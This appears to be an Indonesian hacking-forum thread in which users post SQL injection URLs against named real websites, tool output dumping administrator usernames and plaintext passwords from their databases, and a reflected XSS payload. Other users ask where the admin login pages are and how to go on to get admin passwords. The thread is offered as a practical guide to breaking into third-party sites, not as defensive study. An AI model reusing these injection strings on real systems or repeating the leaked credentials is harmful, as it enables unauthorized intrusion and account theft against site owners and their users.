bug site post di sini

[nesta]

http://www.itmaasia.com/news.php?id=-10 ... tb_admin--

:tapa: :tapa: :tapa:

[adit_coolz]

Code: Select all

[+] URL:http://www.surfingqueensland.com.au/news.php?id=74+AND+1=2+UNION+SELECT+darkc0de,1,2,3--
[+] Evasion Used: "+" "--"
[+] 02:13:43
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
	Database: surf42ql_sq
	User: surf42ql_inam@localhost
	Version: 5.0.89-community
[+] Dumping data from database "surf42ql_sq" Table "admin"
[+] Column(s) ['admin_id', 'admin_name', 'admin_pwd', 'admin_email']
[+] Number of Rows: 2

[0] 1:sqwebadmin:check49mate:[email protected]:
[1] 2:schooladmin:gongmi79:[email protected]:[email protected]:

scidies lagi belajar mohon maap kalo banyak salah :kaca:

[adit_coolz]

Code: Select all

[+] URL:http://www.duralee.com/trim/sku_treasure.php?Book_id=3+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5--
[+] Evasion Used: "+" "--"
[+] 02:37:34
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
	Database: duralee_search
	User: [email protected]
	Version: 5.0.82-msl-usrs-sure2-log
[+] Dumping data from database "duralee_search" Table "Administrators"
[+] Column(s) ['user_id', 'username', 'user_password']
[+] Number of Rows: 3

[0] 60:ted:phpwork:
[1] 61:mark:phpwork:
[2] 62:duralee:duralee:duralee:

:devil

[turfa]

Plus admin page-nya dong

[peniru]

ni ada bug xss.. gk tau mau d apain... bingung... :mati: :mati:

Code: Select all

http://www.ivao.web.id/news.php?id=12&mid=%3Cscript%20language=%22javascript%22%3Ealert(%27halo%27)%3C/script%3E

[dark_superman]

yang diatas bugsnya yang mana nieh!!!! :circle:

kok halo doang?? masih bingung!!! :putusasa:

[untouch]

yang diatas bugsnya yang mana nieh!!!! :circle:

kok halo doang?? masih bingung!!! :putusasa:

ha ha hay..
lucu jua postinganya u .. :omg:

metode penyerangan thd web app , gk hanya lwt sql aja omz..

[peniru]

yang diatas bugsnya yang mana nieh!!!! :circle:

kok halo doang?? masih bingung!!! :putusasa:

http://www.ivao.web.id/news.php?id=12&m ... /script%3E

bugnya :
%3Cscript%20language=%22javascript%22%3Ealert(%27halo%27)%3C/script%3E
ato/
<script language="javascript">alert('isi dengan kata yang kamu mau')</script>
-----------------------------------------------------------------------------------------------------
idealnya seharusnya bukan kata 'halo' yang harus muncul. harusnya peringatan ato semacamnyalah... berhubung q masi lum ngerti nginject pake xss, jd q cuman bisa ksi liat tu ajah...
hal itu disebabkan tidak ada proses filter dari masukan variabel yang baik...

kalo gk salah yag,, cus masi cupu :circle: :circle:

[Zinthink]

Code: Select all

http://www.ambonekspres.com/index.php?act=rubrik&catid=-9+UNION+ALL+SELECT+1,2,concat_ws(0x3a,User,Password),4,5,6,7,8+from+user--

dah lengkap semua cuma ngga tau halaman admin buat login di mana yaa hehehhe tolonGGGGgg

[culun2000]

Permisi om-om yg ganteng, saya mau nanya nih maklum newbie, ini menandakan bug pada suatu website ya? http://www.milim.com/news.php?id=100%27
jika benar, trus ngelanjutin buat dapatin pass adminnya gimana OM
Tolong OM ajarin SQL injection dong OM, Maklum Om anak baru.... :pusing: :pusing: :pusing: